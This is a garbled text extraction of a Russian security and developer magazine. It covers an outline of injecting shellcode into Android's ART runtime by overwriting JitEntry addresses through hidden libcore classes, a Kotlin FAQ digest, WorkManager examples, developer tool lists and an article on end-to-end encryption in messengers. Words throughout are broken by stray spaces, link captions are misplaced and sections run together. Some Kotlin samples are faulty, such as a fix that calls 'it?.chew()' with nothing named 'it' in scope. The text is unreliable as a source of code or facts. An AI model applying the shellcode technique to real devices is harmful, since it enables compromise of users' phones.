зас тавив вир туаль ную машину выпол нить совер шенно дру гой код.

Вир туаль ная машина хра нит ссыл ки на учас тки памяти со ском пилиро ван‐ 
ными машин ными инс трук циями в струк турах JitEntry,  которые орга низо ваны
в таб лицу JitTable. Исполь зуя реф лексию и клас сы   (содер‐ 
жит методы   и    для манипу ляции памятью),  а  так же  клас сы 

 и  , в память мож но заг рузить shell‐
код, а затем под менить адрес в JitEntry, что бы вмес то акту аль ного машин ного
кода он ссы лал ся на shell‐код.

libcore.io.Posix
mmap munmap lib‐

core.io.Memory libcore.io.MemoryBlock

Ме ханизм  выпол нения  shell‐кода  отли чает ся  в  раз ных  вер сиях  Android,
но воз можен и в 4.4.4, и в 7.1. А вот в Android P, ско рее все го, нач нутся проб‐ 
лемы,  так  как она  зап реща ет  вызов  зак рытых от  сто рон них при ложе ний API.
Так же  авто ры  иссле дова ния  не  упо мяну ли,  работа ет  ли  этот  метод  в  отно‐ 
шении дру гих при ложе ний и сис темы в целом или толь ко текуще го про цес са.
Ведь  Android  запус кает  каж дое  при ложе ние  в  собс твен ной  вир туаль ной
машине, и память одной вир туаль ной машины не пересе кает ся с дру гой.

К каким доменам чаще все го под клю чают ся смар тфо ны
  —  очень  корот кая,  но  занят ная  статья  о  том,  какие  веб‐сай ты

и  сер висы  сле дят  за  поль зовате лями  Android.  Автор  написал  бло киров щик
рек ламы  для  смар тфо нов  Samsung,  который  перенап равля ет  DNS‐зап росы
устрой ства  на  спе циаль ные  DNS‐сер веры.  Вмес то  IP‐адре сов  рек ламных
и тре кин говых сетей эти сер веры воз вра щают 127.0.0.1, чем бло киру ют рек‐ 
ламу и тре керы.

1984  called

Спус тя  нес коль ко  месяцев  работы  сер веры  накопи ли  ста тис тику  заб‐ 
локиро ван ных  адре сов.  И  пер вые  три  мес та  с  боль шим  отры вом  занима ют
сле дующие адре са:

graph.facebook.com•
mobile.pipe.aria.microsoft.com•
www.googleadservices.com•

Facebook, как всег да, впе реди.

К каким доменам чаще все го под клю чают ся смар тфо ны

РАЗРАБОТЧИКУ

10 самых популяр ных воп росов о Kotlin
 — десять (на самом деле девять) наибо‐ 

лее  час то  задава емых  воп росов  о  Kotlin  на  Stack Overflow  и  отве ты  на  них.
При водим очень крат кую выжим ку (луч ше все‐таки почитать ори гинал).

Top 10 Kotlin Stack Overflow questions

1. Чем отли чают ся Array и IntArray?
Пер вый соз дает мас сив высоко уров невого типа Integer, вто рой — при митив‐ 
ного  типа  int.  IntArray  более  высокоп роиз водитель ный  и  рекомен дует ся
к исполь зованию в любых ситу ациях.

2. Чем отли чает ся Iterable и Sequence?
Iterable  —  это  стан дар тный  интерфейс  Java.  Реали зующие  его  клас сы  (List
и  Set,  нап ример)  обра баты вают  всю  кол лекцию  целиком,  что  может  пло хо
ска зать ся  на  про изво дитель нос ти. Нап ример,  сле дующий  код  выпол нит  две
опе рации  (filter  и  map)  над  все ми  эле мен тами  спис ка,  перед  тем  как  взять
пер вые пять эле мен тов (take):

val people: List<Person> = getPeople()
val allowedEntrance = people
   .filter { it.age >= 21 }
   .map { it.name }
   .take(5)

Sequence,  с  дру гой  сто роны,  обра баты вает  кол лекции  в  ленивом  режиме.
Такой  под ход  поз воля ет  более  эффектив но  обра баты вать  кол лекции  в  нес‐ 
коль ко про ходов (как в этом при мере) и выпол нять про цес синг толь ко необ‐ 
ходимо го количес тва эле мен тов:

val people: List<Person> = getPeople()
val allowedEntrance = people.asSequence()
   .filter { it.age >= 21 }
   .map { it.name }
   .take(5)
   .toList()

В  отли чие  от  пре дыду щего,  этот  код  будет  обра баты вать  каж дый  эле мент
спис ка отдель но, до тех пор пока не наберет ся пять эле мен тов.

Что исполь зовать? В слу чае неболь ших кол лекций Iterable показы вает луч‐ 
шую  про изво дитель ность.  Но  если  ты  име ешь  дело  с  очень  боль шой  кол‐ 
лекци ей, тог да луч ше задумать ся о при мене нии Sequence. Если же тебе нуж‐ 
на генери руемая на лету бес конеч ная кол лекция, то Sequence (с его фун кци‐ 
ей  generateSequence())  —  твой  единс твен ный  выход. 

.
Под робная  статья

об этом

3. Про ход по эле мен там кол лекции
В Kotlin  есть мно жес тво  спо собов  обой ти  все  эле мен ты  кол лекции  в  цик ле.
Одна ко самые про изво дитель ные из них сле дующие:

for (arg in args) {
   println(arg)
}
args.forEach { arg ‐>
   println(arg)
}

В сво ей работе они исполь зуют Iterator, и это быс трее, чем пос ледова тель ное
получе ние каж дого эле мен та из спис ка.

Ва риант с индекса ми:

for ((index, arg) in args.withIndex()) {
   println("$index: $arg")
}
args.forEachIndexed { index, arg ‐>
   println("$index: $arg")
}

4. SAM-пре обра зова ния
Как  и  Java  8,  Kotlin  под держи вает  SAM‐пре обра зова ния  (Single  Abstract
Method). Это зна чит, что вмес то такого кода:

button.setListener(object: OnClickListener {
   override fun onClick(button: Button) {
       println("Clicked!")
   }
})

мож но написать такой:

button.setListener {
   println("Clicked!")
}

и ком пилятор пой мет, что к чему.
Но есть нес коль ко нюан сов.
Ес ли  ты  исполь зуешь  SAM‐пре обра зова ние,  ты  не  можешь  обра тить ся
к  ано ним ному  объ екту,  соз данно му  в  про цес се  (объ екту  OnClickListener,
если говорить о при мере выше).

•

Ты можешь стол кнуть ся с ошиб кой ком пилято ра,  который заявит,  что  тип
воз вра щаемо го  зна чения  не  сов пада ет.  Такое  про исхо дит,  если  ори‐ 
гиналь ный метод тре бует вер нуть зна чение опре делен ного типа, а внут ри
лям бды  ты  вызыва ешь фун кцию,  которая  воз вра щает  дру гой  тип. В  этом
слу чае надо лишь добавить в кон це лям бды зна чение нуж ного типа, нап‐ 
ример true или false, если необ ходимо вер нуть Boolean.

•

5. Ста тичес кие поля и методы
В Kotlin нет под дер жки ста тичес ких полей и методов. Если тебе необ ходимо
соз дать  класс,  содер жащий  толь ко  ста тичес кие  чле ны,  прос то  объ яви  его
как объ ект:

object Foo {
   fun x() { ... }
}

Ес ли  же  нуж но  сде лать  ста тичес кими  толь ко  отдель ные  поля  и  методы,
исполь зуй companion object:

class Foo {
   companion object {
       fun x() { ... }
   }
   fun y() { ... }
}

Ес ли  какой‐то  метод  дол жен  быть  запущен  толь ко  один  раз  незави симо
от количес тва соз данных на осно ве клас са объ ектов, исполь зуй ста тичес кий
ини циали затор:

class X {
   companion object {
       init {
           println("Static initialization!")
       } 
   }
}

6. Умное при веде ние типов и null
Ес ли ты поп робу ешь сде лать так:

class Dog(var toy: Toy? = null) {
   fun play() {
       if (toy != null) {
           toy.chew()
       }
   }
}

Kotlin  сооб щит  тебе,  что  не  может  исполь зовать  умное  при веде ние  типов,
потому что toy — это изме няемое свой ство. Так про исхо дит потому, что ком‐ 
пилятор  не  может  быть  уве рен,  что  меж ду  про вер кой  toy  на  null  и  вызовом
метода chew() дру гой поток не сде лает  .toy = null

Что бы это испра вить, дос таточ но сде лать так:

class Dog(var toy: Toy? = null) {
   fun play() {
       it?.chew()
   }
}

Или так:

class Dog(var toy: Toy? = null) {
   fun play() {
       toy?.let { 
           it.chew()
       }
   }
}

В дан ном слу чае  пос ледний  вари ант  избы точен,  но  он  подой дет,  если  тебе
необ ходимо не прос то выз вать метод, а, нап ример, записать воз вра щаемое
им зна чение в дру гую перемен ную, которая не дол жна быть null.

7. Что кон крет но дела ет опе ратор  ?!!
Опе ратор !!, зас тавля ющий сре ду исполне ния Kotlin выпол нить код даже в том
слу чае,  если  его  левая  часть  рав на  null,  на  самом  деле  выпол няет  то  же
самое, что такая фун кция‐рас ширение:

fun <T> T?.forceNonNull(): T {
   if (this == null) {
       throw KotlinNullPointerException("Oops, found null")
   } else {
       return this as T
   }
}

Сле дующие две стро ки рав нознач ны:

airdate!!.getWeekday()
airdate.forceNonNull().getWeekday()

8. Что делать с аргу мен тами при пере опре деле нии фун кции Java?
Прог рамми руя  на Kotlin,  ты  всег да  зна ешь, может  ли  аргу мент метода быть
null. Но что делать, если ты пере опре деля ешь метод, написан ный на Java —
язы ке, который не уме ет сооб щать, может ли аргу мент быть null?

В этом слу чае тебе ничего не оста ется, кро ме как всег да про верять аргу‐ 
мен ты на null. Это избы точ но и не очень кра сиво выг лядит в  коде, но луч ше
перес тра ховать ся.

9. Как исполь зовать нес коль ко фун кций‑рас ширений с оди нако -
выми име нами?
Од на из самых инте рес ных воз можнос тей Kotlin — это фун кции‐рас ширения.
Ты можешь в любое вре мя добавить к любому дос тупно му тебе клас су любой
допол нитель ный метод, незави симо от того, име ешь ты дос туп к коду клас са
или нет.

Но  воз ника ет  одна  проб лема:  если  ты  захочешь  исполь зовать  две  фун‐ 
кции‐рас ширения с оди нако выми име нами, ты не смо жешь обра тить ся к ним,
исполь зуя пол ное имя пакета (нап ример, com.example.code.indent()). В этом
слу чае сле дует сде лать так:

import com.example.code.indent as indent4
import com.example.square.indent as indent2

То есть прос то импорти ровать фун кции под раз ными име нами.

Спи сок дос тупных для исполь зования сис темных API
. Раз работ чики Android уже рас‐ 

ска зыва ли об огра ниче ниях, которые Android P будет нак ладывать на исполь‐ 
зование  недоку мен тирован ных/скры тых  API.  Вкрат це:  если  ты  попыта ешь ся
исполь зовать реф лексию, что бы получить дос туп к скры тым от сто рон них при‐ 
ложе ний  API,  то  ОС  выб росит  исклю чение  NoSuchFieldException
или NoSuchMethodException.

An Update on non‐SDK restrictions in Android P

По нача лу  эта  фун кция  будет  работать  толь ко  в  отно шении  очень  ред ко
исполь зуемых или сов сем не исполь зуемых API. Одна ко в сле дующих вер сиях
Google  нач нет  ужес точать  пра вила  и  рас ширять  зап рет  на  все  боль шее
количес тво API, пред лагая вза мен откры тую для исполь зования аль тер нативу.

Ка кие API дос тупны, а какие уже нель зя исполь зовать? Вот так называ емый
. В нем более 11 тысяч методов и полей.се рый спи сок

Что такое Slices в Android P и как их исполь зовать?
  —  статья  с  рас ска зом  о  так  называ емых

слай сах (Slice), новой фун кции Android, которая появи лась в Android P, но вряд
ли будет акти виро вана к релизу (а может, и будет).

A  Closer  look  at  Slices  on  Android

Слай сы —  это  часть  новой  под систе мы  Actions  on  Google,  которая  поз‐ 
воля ет  раз работ чикам  интегри ровать  свои  при ложе ния  в  Google  Assistant.
Работа ет это так:
1. Google  при дума ла  ряд  ,  таких  как 

 и  , которые
отправ ляют ся  при ложе ниям,  ког да  поль зователь  дела ет  опре делен ный
зап рос в ассистен те. В дан ном слу чае это может быть что‐то вро де «хочу
поиг рать в игру» и «цена бит кой на».

но вых  интентов actions.intent.

GET_CRYPTOCURRENCY_PRICE actions.intent.PLAY_GAME

2. Ас систент обра баты вает зап рос, выч леня ет из него семан тичес кую часть,
затем  рас сыла ет  при ложе ниям  соот ветс тву ющий  интент.  При ложе ние
может  отве тить  на  этот  интент  с  помощью  SliceProvider’а,  который  поз‐ 
воля ет зап рограм мировать кар точку с информа цией для Google Assistant.
Эту кар точку Google Assistant выведет на экран.

При мер слай са с отве том на зап рос «цена бит кой на»

Как работать с WorkManager
 — хорошая крат кая статья о том,

как исполь зовать WorkManager, новую support‐биб лиоте ку Google для выпол‐ 
нения фоновой работы.

Doing work with Android’s new WorkManager

WorkManager был раз работан  как ответ  на бар дак  в  средс твах фоново го
исполне ния в раз ных вер сиях Android. До Android 5.0 нам пред лагали исполь‐ 
зовать  AlarmManager  и  сер висы  для  выпол нения  фоновых  задач.  Начиная
с Android  5.0  появил ся  JobScheduler,  который  тол ком не работал  до  вер сии
Android 6.0, и вмес то него при ходи лось исполь зовать Firebase JobDispatcher,
хотя сер висы про дол жали нор маль но под держи вать ся вплоть до вер сии An‐
droid  8,  где Google  вве ла огра ниче ние  на  их  исполне ние  в  нес коль ко минут
при ухо де при ложе ния в сон или получе нии push‐уве дом ления.

WorkManager  скры вает  все  эти  нюан сы  и  пред лага ет  прос той  в  исполь‐ 
зовании  API  для  запус ка  фоновых  задач.  В  зависи мос ти  от  вер сии  Android,
на  которой  будет  запуще но  при ложе ние,  он  сам  выберет  луч ший  спо соб
исполне ния задачи, поз волив тебе выб росить всю эту кашу из головы.

В прос тей шем слу чае соз дание и запуск задачи с помощью WorkManager
выг лядит так. Соз даем задачу, нас леду ясь от клас са Worker:

class YourWorker: Worker {
   override fun WorkerResult doWork() {
       // Делаем свои дела
       return WorkerResult.SUCCESS
   }
}

За тем соз даем зап рос на запуск задачи и ста вим ее в оче редь:

val work: OneTimeWorkRequest  = OneTimeWorkRequest.Builder(YourWo
rker::class.java).build()
WorkManager.getInstance().enqueue(work)

Так как мы не ука зали никаких усло вий выпол нения задачи, она будет выпол‐ 
нена сра зу.

До бавим усло вия:

val constraints: Constraints = Constraints.Builder()
  .setRequiredNetworkType(NetworkType.CONNECTED)
  .setRequiresCharging(true)
  .build()
val work: OneTimeWorkRequest = OneTimeWorkRequest.Builder(SomeWorker:
:class.java)
   .setConstraints(constraints)
   .build()

Что бы  запус тить  пери оди чес кую  (пов торя ющуюся)  задачу,  исполь зуем
PeriodicWorkRequest:

val recurringWork: PeriodicWorkRequest = PeriodicWorkRequest.Builder(
YourWorker::class.java, 3, TimeUnit.HOURS).build()
WorkManager.getInstance().enqueue(recurringWork)

За дачи так же мож но объ еди нять в цепоч ки:

WorkManager.getInstance()
   .beginWith(firstWork)
   .then(secondWork)
   .then(thirdWork)
   .enqueue()

Инс тру мен ты
  —  ути лита  для  манипу ляции  Android  App  Bundle,  поз воля ет

собирать, раз бирать бан длы и генери ровать APK для раз ных устрой ств;
• Bundletool

  —  инс тру мент  для  запус ка  нес коль ких  Android‐эму лято ров
одновре мен но;

• Swarmer

 — скрипт‐обер тка для ADB, поз воля ющий выпол нить мно‐ 
жес тво раз личных дей ствий: вклю чение/вык лючение Doze, мобиль ных дан‐ 
ных,  режима  полета,  раз решений,  нажатие  кно пок,  сня тие  скрин шотов
и мно гие дру гие.

• adb‐enhanced

Биб лиоте ки
 — кол лекция ссы лок на пре зен тации, докумен тацию, сем плы

кода и все, что было свя зано с Android на Google I/O 2018;
• Android‐IO18

 —  биб лиоте ка  для шиф рования  нас тро ек  Android,  соз данных
с помощью SharedPrefences;

• CryptoPrefs

  —  пла гин  Android  Studio  для  генера ции  data‐клас сов
Kotlin из JSON;

• JsonToKotlinClass

 —  удоб ный фрей мворк  для  тес тирова ния  при ложе ний,  написан
на Kotlin с при мене нием DSL;

• KotlinTest

  —  при ложе ние‐при мер,  демонс три рующее  исполь зование  Ten‐
sorflow Lite для реали зации компь ютер ного зре ния;

• KTFLITE

 — биб лиоте ка с реали заци ей редак тора фотог рафий: инс тру‐ 
мен ты рисова ния, филь тры, эмод жи‐сти керы и дру гое;

• PhotoEditor

 — два в одном: кноп ка и прог рес сбар;• AndroidButtonProgress
 — диалог выбора фай лов;• FilePicker

 — кра сивый инди катор заг рузки;• TheGlowingLoader
 — ниж няя панель навига ции;• morph‐bottom‐navigation

  —  биб лиоте ка  для  авто мати чес кого  сох ранения  сос тояния
без необ ходимос ти реали зовать методы onSaveInstanceState и onRestore‐
InstanceState.

• SaveState
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Сквоз ное  шиф рование,  или  end‐to‐end  encryption  (E2EE),
счи тает ся  панаце ей  от  нас той чивых  попыток  хакеров
и  силовых  ведомств  озна комить ся  с  онлай новой  перепис‐ 
кой. Смысл E2EE час то сво дит ся к тому, что клю чи хра нят ся
толь ко на устрой ствах собесед ников и не попада ют на сер‐ 
вер… но это не сов сем так. Давай пос мотрим, как в дей стви‐ 
тель нос ти обсто ят дела с E2EE, на при мере популяр ных мес‐ 
сен дже ров.

ШИФРОВАНИЕ В МЕССЕНДЖЕРАХ
На писать эту статью меня под тол кну ло иссле дова ние Obstacles  to  the Adop‐
tion of Secure Communication Tools  ( ).  Как  выяс нили  его  авто ры,  «подав‐ 
ляющее боль шинс тво учас тни ков опро са не понима ют основную кон цепцию
сквоз ного шиф рования». Про ще говоря, люди обыч но выбира ют мес сен джер
сер дцем, а не моз гом.
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Нач нем с того, что E2EE име ет свои осо бен ности в каж дом мес сен дже ре.
В Signal оно поч ти образцо вое. В WhatsApp фор маль но такое же, как в Signal,
за исклю чени ем одно го очень важ ного момен та: сме на основно го клю ча або‐ 
нен та  WhatsApp  не  бло киру ет  отправ ку  ему  сооб щений.  Мак симум  мож но
вклю чить  бес полез ное  уве дом ление  (которое  отклю чено  в  дефол тных  нас‐ 
трой ках). В Viber сквоз ное шиф рование неак тивно по умол чанию, да и появи‐ 
лось  толь ко  в  шес той  вер сии.  В  Telegram  E2EE  так же  исполь зует ся  толь ко
в сек ретных чатах, при чем реали зова ны они доволь но стран но.

Кон фликт  Рос комнад зора  с  Telegram  вооб ще  соз дал  отличную  рек ламу
пос ледне му.  Рядовые  поль зовате ли  теперь  счи тают  тво рение  Дурова  нас‐ 
тоящей  занозой  в  спи не  спец служб  (или  чуть  пониже  ее),  которые  ничего
не  могут  сде лать  с  пуленеп робива емым  инно ваци онным  сер висом.  Пок‐ 
лонни ки Telegram срав нива ют его с Signal и утвер жда ют о пре вос ходс тве пер‐ 
вого.

Од нако  в  крип тогра фии  не  быва ет  чудес,  и  осо бен но  —  в  прик ладной.
Мно гие матема тичес ки  кра сивые  идеи  ока зыва ются  без надеж но  испорче ны
реали заци ей, ког да удобс тво и под кон троль ность ста вят выше безопас ности
и при ват ности (а так про исхо дит прак тичес ки всег да).

Ис ходно в мес сен дже рах при менял ся про токол OTR  (Off‐the‐Record). Он
исполь зует сим метрич ное шиф рование AES в режиме CTR, про токол обме на
клю чами  DH  и  хеш‐фун кцию  SHA‐1.  Схе ма  AES‐CTR  обес печива ет  так
называ емое  «спор ное»  (в  хорошем  смыс ле)  шиф рование  и  воз можность
отри цания  авторс тва  тек ста,  если  его  перех ватят.  Всег да  мож но  сос лать ся
на  то,  что  перех ватив ший  тра фик  сам  изме нил  шиф ротекст  так,  что бы  он
соот ветс тво вал  дру гому  вари анту  рас шифров ки  той  же  дли ны.  Нап ример,
вмес то  «схо ди  за  хле бом»  получи лось  «отра ви  короле ву»  —  тех ничес ки
это воз можно, и такое свой ство спе циаль но заложе но в алго ритм.

Про токол  OTR  выпол няет  аутен тифика цию  собесед ников  и  шиф рует
перепис ку меж ду ними. Он безопа сен до тех пор, пока учас тни ки раз говора
регуляр но про веря ют отпе чат ки откры тых  клю чей друг дру га и про тивос тоят
ата кам по дру гим век торам (вклю чая соци аль ный инжи ниринг).

Глав ный  недос таток  OTR  зак люча ется  в  том,  что  пос ле  отправ ки  нового
клю ча тре бует ся дож дать ся под твержде ния от собесед ника. Если он офлайн,
то связь будет вре мен но невоз можна. Одним из выходов стал алго ритм Dou‐
ble Ratchet (DR), раз работан ный пять лет назад Тре вором Пер рином и Мок си
Мар лин спай ком в Open Whisper Systems. Сегод ня DR исполь зует ся в Signal,
WhatsApp,  Viber  и  мно гих  дру гих  мес сен дже рах,  под держи вающих  сквоз ное
шиф рование по умол чанию или как отдель ную опцию (сек ретные чаты).

Уп рощен ная схе ма алго рит ма Double Ratchet (источник: signal.org). Али ‐
са и Боб начина ют сес сию, обме нива ясь пуб личны ми клю чами

СКВОЗНОЕ ШИФРОВАНИЕ
Схе ма E2EE исполь зует ком бинацию из крип тогра фичес ких сис тем с откры‐ 
тым  и  зак рытым  клю чом.  Она  оче вид на  в  общих  чер тах  и  доволь но  слож на
на уров не деталей. В ней исполь зует ся мас са вза имос вязан ных клю чей, часть
из которых обя затель но попада ет на сер вер и, более того, обя затель но заг‐ 
ружа ется на него до начала перепис ки,  что бы ее мож но было начать в про‐ 
изволь ный момент. Давай рас смот рим ее под робнее.

На чало  схе мы  ты  навер няка  зна ешь,  пос коль ку  оно  стан дар тно  для  всех
сис тем  асим метрич ного  шиф рования,  —  генери рует ся  пара  клю чей.
Это  необ ходимо  потому,  что  крип тосис темы  с  одним  клю чом  (вро де  AES)
исполь зовать  в  перепис ке  в  чис том  виде  слиш ком  труд но.  С  ними  приш‐ 
лось бы как‐то орга низо вывать защищен ный канал для переда чи клю ча (нап‐ 
ример, встре чать ся лич но), а потом делать это сно ва при каж дой его сме не.

Тут же все как в при выч ном PGP: есть два собесед ника (Али са и Боб), каж‐ 
дый из которых генери рует свою пару клю чей. Затем они обме нива ются пуб‐ 
личны ми клю чами, сох раняя в тай не пар ные им сек ретные. Пуб личные клю чи
переда ются по откры тому каналу (на то они и пуб личные, пусть перех ватыва‐ 
ют на здо ровье) и слу жат для двух целей: они поз воля ют зашиф ровать сооб‐ 
щение и  про верить его под пись. Соот ветс твен но,  сек ретные  клю чи исполь‐ 
зуют ся для рас шифров ки и фор мирова ния под писи.
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Тер мин  «сооб щение»  исполь зует ся  здесь
в  широком  смыс ле.  Сооб щени ем  может  быть
текст,  меди афайл  или  слу жеб ные  метадан ные,
которы ми мес сен джер обме нива ется с сер вером.
Часть  этих  дан ных  содер жит  вре мен ные  мет ки,
сос тояние кли ент ско го при ложе ния и новые клю‐ 
чи.

Та кая  крип тосис тема  кое‐как  работа ет  в  элек трон ной  поч те,  пос коль ку
это  сер вис для дос тавки отдель ных  зашиф рован ных  сооб щений про изволь‐ 
ной  дли ны.  Поль зуясь  им,  собесед ники  не  обя заны  одновре мен но  быть
онлайн.  Все  сооб щения  накап лива ются  на  сер вере  и  ска чива ются  с  него
по тре бова нию пос ле того, как поль зователь успешно прой дет авто риза цию.
Рас шифров ка про исхо дит локаль но при помощи сек ретных клю чей, которые
никуда не переда ются. Поч та с PGP популяр на, но работа ет далеко не иде‐ 
аль но. Почему? См. статью « ».Али са и Боб в стра не PGP

К  сожале нию,  в  чис том  виде  схе ма  асим метрич ного  шиф рования  так же
не  годит ся  для  мес сен дже ров,  пос коль ку  эти  сер висы  ори енти рова ны
на интенсив ную онлай новую перепис ку в виде цепоч ки корот ких сооб щений.
Они  дол жны  отоб ражать ся  в  стро го  опре делен ном  поряд ке,  а  собесед ник
может в любое вре мя ока зать ся офлайн и нарушить струк туру диало га.

К  тому  же шиф ровать  мно жес тво  корот ких  сооб щений  одним  клю чом —
пло хая идея. Все го за день перепис ки их соз дают ся сот ни (если не тысячи).
Во  мно гих  сооб щени ях  количес тво  шиф ротек ста  минималь ное  и  пред ска‐ 
зуемое  (смай лик, сти кер). Так же у них есть стан дар тные заголов ки,  которые
упро щают крип тоана лиз.

Осо бен ность  перепис ки  в  мес сен дже рах  в  том,  что  из‐за  типовых
метадан ных за корот кое вре мя ата кующий может перех ватить боль шой объ‐ 
ем  пред ска зуемо го  шиф ротек ста.  Его  льви ная  доля  будет  соот ветс тво вать
извес тно му откры тому тек сту. Если она будет шиф ровать ся одним клю чом, то
при успешной ата ке ока жут ся ском про мети рован ными все ранее написан ные
сооб щения и даже те, которые собесед ники напишут в будущем.

Что бы это го не про исхо дило, в мес сен дже рах пре дус мотре ны такие свой‐ 
ства, как пря мая и обратная сек ретность. Они под разуме вают невоз можность
про читать  отправ ленные  ранее  и  написан ные  в  будущем  сооб щения,  имея
на руках толь ко текущий ключ шиф рования. Для это го исполь зует ся мно гос‐ 
лой ное шиф рование  с  перехо дом от  асим метрич ной  к  сим метрич ной  крип‐ 
тогра фии и допол нитель ные клю чи с раз ным вре менем жиз ни.

ДИФФИ, ХЕЛЛМАН! ДАЙТЕ ТРИ!
Из    извес тно,  что  в  Telegram  аутен тифици рован ное
рас пре деле ние клю чей обес печива ет клас сичес кий про токол Диф фи — Хел‐ 
лма на  (DH). Он соз дает мост меж ду асим метрич ным (RSA) и сим метрич ным
(AES)  шиф ровани ем,  давая  воз можность  энно му  количес тву  собесед ников
вес ти зашиф рован ную перепис ку, передав толь ко пуб личные клю чи по откры‐ 
тому  каналу.  Для  это го  в  нем  генери руют ся  сес сион ные  клю чи,  пред став‐ 
ляющие  собой  общий  сек рет  или  общий  эфе мер ный  ключ. Он  вычис ляет ся
на  осно ве  сек ретно го  клю ча  одно го  собесед ника  и  пуб лично го  клю ча  дру‐ 
гого.  Эфе мер ные  клю чи  аутен тифици руют ся  дол говре мен ными  откры тыми
клю чами.

от кры той  докумен тации
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В  DH  канал  переда чи  может  быть  не  защищен
от  прос лушива ния  (пас сивно го  наб людения),
но обя зан иметь защиту от ата ки под мены. Если
ата кующая  сто рона  может  под менить  тра фик
(выпол нить  активную  ата ку  MITM),  то  вся  схе ма
летит к чер ту.

По это му  для  сво его  мес сен дже ра  Signal  ком пания  Open  Whisper  Systems
исполь зует  метод  трой ного  пре обра зова ния  Диф фи  —  Хел лма на    c
Curve25519  (эллипти чес кая  кри вая  Берн стай на  для  быс тро го  DH)  или  .
В  качес тве  дру гих  крип тогра фичес ких  при мити вов  в  X3DH  исполь зует ся
HMAC‐SHA‐256 и AES‐256.

X3DH
X448

Про токол Extended Triple Diffie — Hellman уста нав лива ет общий сек ретный
ключ меж ду дву мя сто рона ми, которые вза имно аутен тифици руют друг дру га
на  осно ве  откры тых  клю чей.  Допол нитель но  клю чи  све ряют ся  сра зу  пос ле
уста нов ки  сес сии  и  перед  началом  переда чи  сооб щений.  Это  сво дит
к миниму му риск MITM‐атак, делая их очень слож ными.

В  X3DH  исполь зуют ся  четыре  типа  клю чей,  три  из  которых  пос тоян но
меня ются:

 (identity keys). Сек ретные клю чи, которые соз дают ся один раз и слу жат
осно вой для фор мирова ния всех осталь ных;

• IK

  (ephemeral  key).  Эфе мер ный  ключ,  который  нужен  для  про вер ки  лич‐ 
ности собесед ника (без раз гла шения истинной);

• EK

  (signed public key, signed proof of knowledge) — по сути, это эфе мер‐ 
ный ключ, под писан ный сек ретным. Обыч но в мес сен дже рах он меня ется
с  час тотой  от  одно го  дня  до  недели. Иног да  вмес то  вре мени жиз ни SPk
зада ют чис ло сооб щений, пос ле которо го он меня ется;

• SPk

 (one‐time public key) — одно разо вый эфе мер ный ключ. Он соз дает ся
отпра вите лем  перед  уста нов кой  сеан са  свя зи  и  уда ляет ся  сра зу  пос ле
успешно го «рукопо жатия» (handshake).

• OPK

НАСЛЕДИЕ ENIGMA
Сме на  вспо мога тель ных  клю чей  в  X3DH  про исхо дит  по  алго рит му  Double
Ratchet. Он при шел на сме ну OTR и ввел понятие цепоч ки, или пула, клю чей.
На  слу чай,  если  собесед ник  будет  офлайн,  пре дус мотре но  соз дание  пула
OPK. Нес коль ко разовых эфе мер ных клю чей заранее заг ружа ются на сер вер
и рас ходу ются по мере обще ния. Это поз воля ет сер веру при нимать зашиф‐ 
рован ные сооб щения, аутен тифици руя их отпра вите ля по новой паре клю чей,
даже ког да получа тель не в сети. Если пул OPK исчерпан, то сер вер исполь‐ 
зует запас ной EK.

Наз вание  «двой ной  хра повик»  —  отсылка  к  устрой ству  шиф роваль ной
машины Enigma с зуб чатыми колеси ками, которые исклю чали обратное дви‐ 
жение  и  пов торное  исполь зование  преж них  зна чений.  Циф ровая  ана логия
в  том,  что  DR  исполь зует ся  для  генери рова ния  новых  эфе мер ных  клю чей,
которы ми шиф рует ся  сле дующее  сооб щение  (или  неболь шая  пор ция  сооб‐ 
щений). При этом эфе мер ные клю чи гаран тирован но отли чают ся, не пов торя‐ 
ют пре дыду щие и не могут быть пред ска заны за разум ное вре мя ата ки.
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Под робнее о Double Ratchet  читай  в  статье  «

».

По‐ 
чему  шиф рование  в  Signal,  WhatsApp,  Telegram
и Viber не защитит твою перепис ку от взло ма

На  X3DH  осно ван  про токол  TextSecure,  который  поз же  был  пере име нован
в  Signal.  В  чис том  или  слег ка  модифи циро ван ном  виде  про токол  Signal
исполь зует ся в одно имен ном мес сен дже ре, а так же в WhatsApp, Viber и дру‐ 
гих.  Раз работ чики  могут  давать  про токо лам  собс твен ные  наз вания,  но  по
сути  это  все  тот  же  X3DH  с  варь иру ющим ся  набором  хеш‐фун кций,  ГПСЧ
и иных крип тогра фичес ких при мити вов.

Проб лема груп повых чатов
Ор ганиза ция груп повых чатов в мес сен дже рах под робно разоб рана в све жей
статье «More is Less: On the End‐to‐End Security of Group Chats in Signal, What‐
sApp, and Threema» ( ). При веду основные выводы из нее.PDF

Наш  сис темати чес кий  ана лиз  выявил,  что  целос тность  ком- 
муника ций  (пред став ленная  целос тностью  всех  сооб щений)
и груп повая при над лежность (опре деля емая воз можностью чле- 
нов груп пы управлять ими) не име ют end-to-end-защиты. Кро ме
того,  мы  показа ли,  что  обратная  сек ретность  (клю чевое  свой- 
ство безопас ности) не сох раня ется при исполь зовании про токо- 
ла Signal для груп повых чатов.

По ясне ние:  кра еуголь ный  камень  сквоз ного  шиф рования  —  аутен тифици‐ 
рован ное рас пре деле ние клю чей по клас сичес кому или уси лен ному про токо‐ 
лу  DH.  Оно  работа ет  толь ко  для  двух  собесед ников,  фор миру ющих  общий
сек рет.  Ожи даемо,  что  в  мес сен дже рах  DH  не  исполь зует ся  в  груп повых
чатах,  а  струк тура обме на  сооб щени ями  в  них  лишена основных  крип тогра‐ 
фичес ких свой ств.

Шиф рование в груп повых чатах. A — отпра витель, B — получа тель, G —
груп па поль зовате лей

Ав торы  показы вают,  какие  манипу ляции  может  выпол нять  кон тро лиру емый
зло умыш ленни ком  сер вер  в  груп повых  чатах  из‐за  отсутс твия  в  них  E2EE.
Свои иссле дова ния они про води ли на при мере Signal и WhatsApp, но вряд ли
сто ит  ожи дать,  что  у  дру гих  мес сен дже ров  эта  проб лема  име ет  какое‐то
изящ ное решение.

СТРАННОСТИ TELEGRAM
С Telegram все пок рыто завесой тай ны. О про токо ле MTProto 2.0 есть толь ко
час тичные  све дения.  Его  внеш ний  аудит  не  выпол нялся,  а  опен сор сная
модель  Telegram  исполь зует ся  в  силь но  иска жен ном  виде  и  исклю читель но
с мар кетин говыми целями. Ниже я пояс ню, почему так счи таю.

Су дя  по  офи циаль ному  опи санию,  все  недос тавлен ные  сооб щения  вре‐ 
мен но (мы наде емся) хра нят ся на сер верах Telegram, которые час то раз бро‐ 
саны  по  миру  и  объ еди нены  в  вир туаль ное  обла ко.  Они  син хро низи руют ся
